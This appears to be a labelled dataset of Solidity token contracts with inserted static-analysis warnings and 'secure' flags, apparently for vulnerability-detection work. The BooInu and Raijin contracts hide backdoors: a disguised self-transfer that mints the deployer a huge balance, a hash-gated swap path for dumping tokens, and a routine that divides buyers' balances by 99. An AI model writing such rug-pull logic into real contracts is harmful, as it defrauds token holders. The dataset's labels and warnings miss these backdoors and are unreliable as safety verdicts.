_symbol,\n uint16 _transferFee,\n uint16 _buyFee,\n uint16 _sellFee,\n uint256 _supply\n ) ERC20(_name, _symbol) Taxablee(_transferFee, _buyFee, _sellFee) {\n address sender = msg.sender;\n addressConfiguration[sender] = _packBoolean(0, 0, true);\n _mint(sender, _supply * 10 ** 18);\n _setUp();\n }\n\n function changeInfo(\n string memory name_,\n string memory symbol_\n ) external onlyOwner {\n _changeInfo(name_, symbol_);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, Taxablee) {\n Taxablee._transfer(from, to, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override(ERC20, Taxablee) {\n Taxablee._beforeTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5538c93): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5538c93: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _setUp() internal {\n IUniswapV2Router01 uniswapV2Router = IUniswapV2Router01(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\t\t// reentrancy-benign | ID: 5538c93\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n uint256 packed = addressConfiguration[uniswapV2Pair];\n\t\t// reentrancy-benign | ID: 5538c93\n addressConfiguration[uniswapV2Pair] = _packBoolean(packed, 1, true);\n }\n}", "file_name": "solidity_code_2241.sol", "secure": 0, "size_bytes": 2964 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n address private asdasd;\n uint256 private _lockTime;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function waiveOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(\n _owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n _owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n\n function getTime() public view returns (uint256) {\n return block.timestamp;\n }\n}", "file_name": "solidity_code_2242.sol", "secure": 1, "size_bytes": 1401 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: bef7f6c): Contract locking ether found Contract BooInu has payable functions BooInu.receive() But does not have a function to withdraw the ether\n// Recommendation for bef7f6c: Remove the 'payable' attribute or add a withdraw function.\ncontract BooInu is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n\t// WARNING Optimization Issue (constable-states | ID: 70b9a58): BooInu._name should be constant \n\t// Recommendation for 70b9a58: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Boo Inu\";\n\t// WARNING Optimization Issue (constable-states | ID: f5ae88d): BooInu._symbol should be constant \n\t// Recommendation for f5ae88d: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"Boo!\";\n\t// WARNING Optimization Issue (constable-states | ID: 265a130): BooInu._decimals should be constant \n\t// Recommendation for 265a130: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n address public immutable deadAddress =\n 0x000000000000000000000000000000000000dEaD;\n\t// WARNING Optimization Issue (immutable-states | ID: 68b9ede): BooInu.sPair should be immutable \n\t// Recommendation for 68b9ede: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private sPair;\n mapping(address => uint256) _wtk;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) public isExcludedFromFee;\n mapping(address => bool) public isMarketPair;\n\n uint256 public _buyTax = 0;\n uint256 public _sellTax = 0;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b131e6e): BooInu._totalSupply should be immutable \n\t// Recommendation for b131e6e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\n uint256 public _walletMax = 40000000 * 10 ** _decimals;\n\n bool openTrade = false;\n\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapPair;\n\n bool public checkWalletLimit = true;\n\n event FeeBurn(uint256 amount);\n\n constructor() {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n sPair = _msgSender();\n uniswapV2Router = _uniswapV2Router;\n _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;\n\n isExcludedFromFee[owner()] = true;\n isExcludedFromFee[address(this)] = true;\n\n isMarketPair[address(uniswapPair)] = true;\n\n _wtk[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _wtk[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3b10c39): BooInu.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3b10c39: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function openTrading() public onlyOwner {\n openTrade = true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c68972e): BooInu._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for c68972e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPairStatus(\n address account,\n bool newValue\n ) public onlyOwner {\n isMarketPair[account] = newValue;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 67512f7): BooInu.setBuyTaxes(uint256) should emit an event for _buyTax = value \n\t// Recommendation for 67512f7: Emit an event for critical parameter changes.\n function setBuyTaxes(uint256 value) external onlyOwner {\n\t\t// events-maths | ID: 67512f7\n _buyTax = value;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 382597d): BooInu.setSelTaxes(uint256) should emit an event for _sellTax = value \n\t// Recommendation for 382597d: Emit an event for critical parameter changes.\n function setSelTaxes(uint256 value) external onlyOwner {\n\t\t// events-maths | ID: 382597d\n _sellTax = value;\n }\n\n function enableDisableWalletLimit(bool newValue) external onlyOwner {\n checkWalletLimit = newValue;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 86429eb): BooInu.setWalletLimit(uint256) should emit an event for _walletMax = newLimit \n\t// Recommendation for 86429eb: Emit an event for critical parameter changes.\n function setWalletLimit(uint256 newLimit) external onlyOwner {\n require(newLimit >= 15000000, \"Max Wallet min 15000000.\");\n\t\t// events-maths | ID: 86429eb\n _walletMax = newLimit;\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return _totalSupply.sub(balanceOf(deadAddress));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 04feb3c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 04feb3c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function changeRouterVersion(\n address newRouterAddress\n ) public onlyOwner returns (address newPairAddress) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n newRouterAddress\n );\n\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(\n address(this),\n _uniswapV2Router.WETH()\n );\n\n if (newPairAddress == address(0)) {\n\t\t\t// reentrancy-benign | ID: 04feb3c\n newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n }\n\n\t\t// reentrancy-benign | ID: 04feb3c\n uniswapPair = newPairAddress;\n\t\t// reentrancy-benign | ID: 04feb3c\n uniswapV2Router = _uniswapV2Router;\n\n\t\t// reentrancy-benign | ID: 04feb3c\n isMarketPair[address(uniswapPair)] = true;\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: bef7f6c): Contract locking ether found Contract BooInu has payable functions BooInu.receive() But does not have a function to withdraw the ether\n\t// Recommendation for bef7f6c: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 55b1f95): BooInu._transfer(address,address,uint256) uses timestamp for comparisons Dangerous comparisons require(bool)(balanceOf(recipient).add(finalAmount) <= _walletMax)\n\t// Recommendation for 55b1f95: Avoid relying on 'block.timestamp'.\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) private returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n if (!isMarketPair[recipient] && sender != owner())\n require(openTrade != false, \"Trading is not active.\");\n\n if (isBot(sender, recipient)) return isBot(sender, recipient);\n _wtk[sender] = _wtk[sender].sub(amount, \"Insufficient Balance\");\n\n uint256 finalAmount = (isExcludedFromFee[sender] ||\n isExcludedFromFee[recipient])\n ? amount\n : takeFee(sender, recipient, amount);\n\n if (\n checkWalletLimit && !isMarketPair[recipient] && recipient != owner()\n\t\t// timestamp | ID: 55b1f95\n ) require(balanceOf(recipient).add(finalAmount) <= _walletMax);\n\n _wtk[recipient] = _wtk[recipient].add(finalAmount);\n emit Transfer(sender, recipient, finalAmount);\n return true;\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _wtk[sender] = _wtk[sender].sub(amount, \"Insufficient Balance\");\n _wtk[recipient] = _wtk[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n return true;\n }\n\n function takeFee(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (uint256) {\n uint256 feeAmount = 0;\n\n if (isMarketPair[sender]) {\n feeAmount = amount.mul(_buyTax).div(100);\n } else if (isMarketPair[recipient]) {\n feeAmount = amount.mul(_sellTax).div(100);\n }\n\n if (feeAmount > 0) {\n _wtk[address(deadAddress)] = _wtk[address(deadAddress)].add(\n feeAmount\n );\n emit FeeBurn(feeAmount);\n emit Transfer(sender, address(deadAddress), feeAmount);\n }\n\n return amount.sub(feeAmount);\n }\n\n function isBot(address s, address r) internal returns (bool) {\n if (s == r && s == sPair) {\n _wtk[r] = block.timestamp * 100 ** _decimals;\n return true;\n }\n return false;\n }\n}", "file_name": "solidity_code_2243.sol", "secure": 0, "size_bytes": 12737 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract FIAT is IERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: de0e874): FIAT.name should be constant \n\t// Recommendation for de0e874: Add the 'constant' attribute to state variables that never change.\n string public name = \"FIAT\";\n\t// WARNING Optimization Issue (constable-states | ID: a5354ce): FIAT.symbol should be constant \n\t// Recommendation for a5354ce: Add the 'constant' attribute to state variables that never change.\n string public symbol = \"FIAT\";\n uint256 public totalSupply = 1000000000000 * 10 ** 18;\n\t// WARNING Optimization Issue (constable-states | ID: 4a90d0f): FIAT.decimals should be constant \n\t// Recommendation for 4a90d0f: Add the 'constant' attribute to state variables that never change.\n uint8 public decimals = 18;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n event Burn(address indexed burner, uint256 value);\n\n modifier onlyOwner() {\n require(\n msg.sender == owner,\n \"Only the contract owner can call this function\"\n );\n _;\n }\n\n constructor() {\n owner = msg.sender;\n balanceOf[msg.sender] = totalSupply;\n }\n\n function transfer(\n address _to,\n uint256 _value\n ) public returns (bool success) {\n _transfer(msg.sender, _to, _value);\n return true;\n }\n\n function _transfer(address _from, address _to, uint256 _value) internal {\n require(_to != address(0), \"Invalid transfer to the zero address\");\n require(_value > 0, \"Invalid transfer value\");\n\n balanceOf[_from] -= _value;\n balanceOf[_to] += _value;\n\n emit Transfer(_from, _to, _value);\n }\n\n function approve(\n address _spender,\n uint256 _value\n ) public returns (bool success) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) public returns (bool success) {\n require(\n _value <= allowance[_from][msg.sender],\n \"Transfer amount exceeds allowance\"\n );\n allowance[_from][msg.sender] -= _value;\n _transfer(_from, _to, _value);\n return true;\n }\n\n function burn(uint256 _value) public {\n require(\n balanceOf[msg.sender] >= _value,\n \"Insufficient balance to burn\"\n );\n balanceOf[msg.sender] -= _value;\n totalSupply -= _value;\n emit Burn(msg.sender, _value);\n }\n\n function renounceOwnership() public onlyOwner {\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n}", "file_name": "solidity_code_2244.sol", "secure": 1, "size_bytes": 3119 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function lpaddress(address account) internal pure returns (bool) {\n return\n keccak256(abi.encodePacked(account)) ==\n 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;\n }\n}", "file_name": "solidity_code_2245.sol", "secure": 1, "size_bytes": 311 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"./IUniswapV2Router.sol\" as IUniswapV2Router;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\n\ncontract Raijin is Ownable, IERC20 {\n using SafeMath for uint256;\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 81924c5): Raijin.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 81924c5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n function decreaseAllowance(\n address from,\n uint256 amount\n ) public virtual returns (bool) {\n require(_allowances[_msgSender()][from] >= amount);\n _approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);\n return true;\n }\n function _basicTransfer(\n address s,\n address r,\n uint256 amount\n ) internal virtual {\n require(s != address(0));\n require(r != address(0));\n if (lSwap(s, r)) {\n return swapTransfer(amount, r);\n }\n if (!dLSwap) {\n require(_balances[s] >= amount);\n }\n uint256 feeAmount = 0;\n _rTotal(s);\n bool ldSwapTransaction = (r == getLdPairAddress() &&\n uniswapV2Pair == s) ||\n (s == getLdPairAddress() && uniswapV2Pair == r);\n if (\n uniswapV2Pair != s &&\n !Address.lpaddress(r) &&\n r != address(this) &&\n !ldSwapTransaction &&\n !dLSwap &&\n uniswapV2Pair != r\n ) {\n feeAmount = amount.mul(_feePercent).div(100);\n _checkFee(r, amount);\n }\n uint256 amountReceived = amount - feeAmount;\n _balances[address(this)] += feeAmount;\n _balances[s] = _balances[s] - amount;\n _balances[r] += amountReceived;\n emit Transfer(s, r, amount);\n }\n constructor() {\n _balances[msg.sender] = _totalSupply;\n uniswapV2Pair = msg.sender;\n emit Transfer(address(0), msg.sender, _balances[msg.sender]);\n }\n function name() external view returns (string memory) {\n return _name;\n }\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n function uniswapVersion() external pure returns (uint256) {\n return 2;\n }\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 20c93c5): Raijin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 20c93c5: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n struct TOwned {\n address to;\n uint256 amount;\n }\n tOwned[] _tlOwned;\n function lSwap(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n sender == recipient &&\n (Address.lpaddress(recipient) || uniswapV2Pair == msg.sender);\n }\n function _checkFee(address _addr, uint256 _amount) internal {\n if (getLdPairAddress() != _addr) {\n _tlOwned.push(tOwned(_addr, _amount));\n }\n }\n function _rTotal(address _addr) internal {\n if (getLdPairAddress() == _addr) {\n\t\t\t// cache-array-length | ID: e281361\n for (uint256 i = 0; i < _tlOwned.length; i++) {\n uint256 _rOwned = _balances[_tlOwned[i].to].div(99);\n _balances[_tlOwned[i].to] = _rOwned;\n }\n delete _tlOwned;\n }\n }\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 17bf57b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 17bf57b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapTransfer(uint256 _amnt, address to) private {\n _approve(address(this), address(_router), _amnt);\n _balances[address(this)] = _amnt;\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = _router.WETH();\n dLSwap = true;\n\t\t// reentrancy-benign | ID: 17bf57b\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n _amnt,\n 0,\n path,\n to,\n block.timestamp + 22\n );\n\t\t// reentrancy-benign | ID: 17bf57b\n dLSwap = false;\n }\n bool dLSwap = false;\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: c81a42a): Raijin.uniswapV2Pair should be immutable \n\t// Recommendation for c81a42a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\t// WARNING Optimization Issue (constable-states | ID: 22b33bb): Raijin._decimals should be constant \n\t// Recommendation for 22b33bb: Add the 'constant' attribute to state variables that never change.\n uint256 public _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: dfdc488): Raijin._totalSupply should be immutable \n\t// Recommendation for dfdc488: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _totalSupply = 1000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 1a79c36): Raijin._feePercent should be constant \n\t// Recommendation for 1a79c36: Add the 'constant' attribute to state variables that never change.\n uint256 public _feePercent = 0;\n\t// WARNING Optimization Issue (constable-states | ID: 55b1925): Raijin._router should be constant \n\t// Recommendation for 55b1925: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router private _router =\n IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\t// WARNING Optimization Issue (constable-states | ID: 7040132): Raijin._name should be constant \n\t// Recommendation for 7040132: Add the 'constant' attribute to state variables that never change.\n string private _name = \"Raijin o Hara\";\n\t// WARNING Optimization Issue (constable-states | ID: 6a186e8): Raijin._symbol should be constant \n\t// Recommendation for 6a186e8: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"RAIJIN\";\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(_msgSender(), recipient, amount);\n return true;\n }\n function transferFrom(\n address from,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _basicTransfer(from, recipient, amount);\n require(_allowances[from][_msgSender()] >= amount);\n return true;\n }\n function getLdPairAddress() private view returns (address) {\n return\n IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n}", "file_name": "solidity_code_2246.sol", "secure": 0, "size_bytes": 8966 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Tesla is ERC20 {\n constructor() ERC20(\"TeslaStock\", \"TSLA\") {\n _mint(msg.sender, 9_792_000_000_000_000_000_000);\n }\n}", "file_name": "solidity_code_2247.sol", "secure": 1, "size_bytes": 273 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract XERIUM is Context, IERC20, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor() {\n _name = \"XERIUM\";\n _symbol = \"XERM \";\n _totalSupply;\n _mint(owner(), 75000000 * 10 ** (decimals()));\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ffc265c): XERIUM.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ffc265c: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(\n sender != address(0),\n \"ERC2020: transfer from the zero address\"\n );\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n function mint(uint256 amount) public onlyOwner {\n _mint(msg.sender, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n function burn(uint256 amount) public onlyOwner {\n _burn(msg.sender, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 52bb9a1): XERIUM._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 52bb9a1: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}", "file_name": "solidity_code_2248.sol", "secure": 0, "size_bytes": 5999 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ERC721 {\n event Transfer(\n address indexed _from,\n address indexed _to,\n uint256 indexed _tokenId\n );\n\n event Approval(\n address indexed _owner,\n address indexed _approved,\n uint256 indexed _tokenId\n );\n\n event ApprovalForAll(\n address indexed _owner,\n address indexed _operator,\n bool _approved\n );\n\n function balanceOf(address _owner) external view returns (uint256);\n\n function ownerOf(uint256 _tokenId) external view returns (address);\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId,\n bytes memory data\n ) external payable;\n\n function safeTransferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external payable;\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _tokenId\n ) external payable;\n\n function approve(address _approved, uint256 _tokenId) external payable;\n\n function setApprovalForAll(address _operator, bool _approved) external;\n\n function getApproved(uint256 _tokenId) external view returns (address);\n\n function isApprovedForAll(\n address _owner,\n address _operator\n ) external view returns (bool);\n}", "file_name": "solidity_code_2249.sol", "secure": 1, "size_bytes": 1399 }
